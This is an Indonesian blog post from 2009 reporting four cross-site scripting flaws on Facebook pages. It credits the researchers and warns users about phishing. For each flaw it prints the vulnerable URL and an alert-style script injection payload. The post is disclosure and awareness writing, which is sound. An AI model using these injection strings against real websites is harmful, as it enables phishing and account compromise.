• Welcome to my blog!

Kelemahan Facebook
Diposting oleh Delta NEt


Para pengguna Facebook rentan akan serangan phishing dan pencurian ID dikarenakan munculnya kelemahan cross-site scripting yang terbaru dan cukup kritis.

Peneliti keamanan Zeitjak, David Wharton, Daimon dan p3lo baru-baru ini menemukan cacat XSS yang berpengaruh terhadap beberapa fungsionalitas Facebook termasuk halaman developer, halaman registrasi pengguna baru, halaman login iphone dan halaman aplikasi.



Orang-orang jahat dapat mengeksploitasi bugs XSS ini untuk menginfeksi jutaan anggota Facebook dengan malware, adware dan spyware.

Biar aman, anda dianjurkan untuk tidak menerima friend invitation dari orang yang tidak anda kenal. Alasannya adalah bahwa profil di Facebook berisikan informasi pribadi yang cukup berharga untuk dipelajari oleh fraudster (teman anda yang tidak dikenal). Para teman yang tak 'diundang' ini bertujuan untuk melancarkan serangan phishing atau menyebarkan malware pada pengguna individual maupun bisnis. Bagaimana jika anda mengklik sebuah shared link atau apapun? Maka siap-siap saja privasi anda akan menjadi milik mereka!!!

Berikut ini keempat cacat XSS yang ditemukan, untuk mengetahui seperti apa cacatnya klik link bertuliskan Mirror:

XSS #1 dengan POST (oleh Zeitjak) | Mirror:

http://www.new.facebook.com/r.php

POST: reg_email__="onmouseover="alert('XSS - ZJ')"foo="bar

XSS #2 dengan POST (oleh David Wharton) | Mirror:

https://login.facebook.com/login.php?iphone&next=http%3A%2F%2Fiphone.fac...

POST:

email=biz%22%3E%3Cscript%3Ealert%28%27tohellwithgeorgia%27%29%3C%2Fscript%3E%3C%22&pass=greetz2evilghost&next=http%3A%2F%2Fiphone.facebook.com%2F&login=Login

XSS #3 (oleh DaiMon) | Mirror:

http://apps.facebook.com/blognetworks/searchpage.php?tag=%22%3E%3Cscript%3Ealert(%22DaiMon%22)%3C/script%3E

This one works on another IP (67.228.87.82) and can't be used for a worm, except a phishing one.

XSS #4 dengan POST (oleh p3lo) | Mirror:

http://developers.facebook.com/tools.php?fbml

POST:

profile=1299125444&position=wide&api_key=%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+p3lo%3C%2Fh1%3E%3C%2Fmarquee%3E+&fbml=


Anda sedang membaca artikel tentang Kelemahan Facebook dan anda bisa menemukan artikel Kelemahan Facebook ini dengan url http://deltanetpringsewu.blogspot.com/2009/07/kelemahan-facebook.html,anda boleh menyebar luaskannya atau mengcopy paste-nya jika artikel Kelemahan Facebook ini sangat bermanfaat bagi teman-teman anda,namun jangan lupa untuk meletakkan link Kelemahan Facebook sumbernya.
Photo

Selasa, 28 Juli 2009

di 09.35


Label:

1 komentar:

3 Desember 2009 pukul 21.11
Permalink this comment

mengatakan...

Weh, keren infonya nih, tapi sekarang sudah dipatch kan?

dofollow blog

Deltanet

Labels

Mengenai Saya

Foto saya
Hanya secumit informasi untuk dibagi

Labels

info Berita Info Aplikasi news SEO INFO BARU Kontes Seo Google VS BING Kabar Berita Affiliate Program Bagi Pemula Aneh Aplikasi Cantik Bisnis Online Masa Kini Delta net Download Aplikasi Gratis Hard Reset Iklan Google Laptop Gratisan Mau PREDIKSI SOAL USBN SMA 2010 Penggerebekan Noordin M Top The Last Legion Trailer Tsavorite aplikasi javagratis opera penemuan repair HP 5 M 6 Software gratis pencari file duplikat di Windows Anggota Panitia Angket Century Apa Itu Tsunami Astaga.com Asteroid Destroys Earth Atune Ala iTunes Download Baby Fight Baca data CD yang Tergores Bahasa Indonesia Jadi Bahasa Kedua di Ho Chi Minh City Balibo Five Baut dan Lampu Jembatan Suramadu Pun Dicuri Beasiswa untuk SMA 2009 Cara Mengetahui Privat Number Casablanca Movie Cek Code Website dengan W3C Validator Cermin Antirudal Cermin Universal Dikira Ikan Besar Domain gratis Erin Andrews Facebook Festival Film Asia Film Indonesia Forbiana Ikutan Ngeblog Aaaah Forbiana dapat Award Format Manual HP Game Facebook Hans Christian oersted Hilangnya Pesawat Merpati IBU PRITA MULYA SARI SEDANG HEBOH Iklan - iklan jadul Investasi Online terbaru Kenali dan Kunjungi Objek Wisata di Pandeglang Keyword Teratas Minggu Ini Kiamat 2012 Komputer Game Kreasi Pada Google Kuburan Band Kuburan Mau Bubar Lambert Ama Video Luna Maya VS Ariel Magic Manohara Main Senetron Dibayar Rp2 Memilih Bisnis Meteor Shower Mhose lulus Kuliah di usia bocah Microsoft dan Yahoo Bersatu Museum Noordin M. Top Optimalkan Link Afiliasi Anda PERMOHONAN MAAF FORBIANA Paid Review berbahasa Indonesia Panduan Panduan Membuat Antena Kaleng (Wi Fi) Penerimaan CPNS 2009 Penggunaan Tenaga Nuklir di Bulan Point Blank Process Explorer RS Omni Internasional Dianggap Bunuh Diri RUHUT SITOMPUL di DEMO Remote dekstop Multy Screen Reviewmu.com SMS Maut dari Nomor 081918836427 SURAT Dari MASA DEPAN Sinopsis Film Situs Noordin M. Top Soal UN 2010 Struktur Direktori Studi Kasus Hilangnya Website Dari SERP Google bagian 2 Terjebak dalam Lift Ternyata Rudal Aktif Tips Bermain Tips Mendesain Undangan Pernikahan Tips Mengatasi Rasa Malas Tips Trik UN 210 UU Pengendara MOTOR Versi Gado Gado Vishing Trik Penipuan Via Telphone Masa Kini WS Rendra Wisata SEO Sadau Zip recovery toolbox antivirus ariel Peterporn autisme salah satu penyebabnya avi download cepat di ziddu dunia firewall forbiana game tom jery google feature handphone indonesia Furniture Handicraft Wholesale info.txt justin bieber kamus karate kid 2010 online streaming piala dunia 2010 serial XP Genuine sistem Berkas manajemen informatika study kasus pada mesin pencari google sweat im trik mendapatkan barang gratis tuyul dan pocong bogor video erin andrews warnet pringsewu word recovery toolbox yamee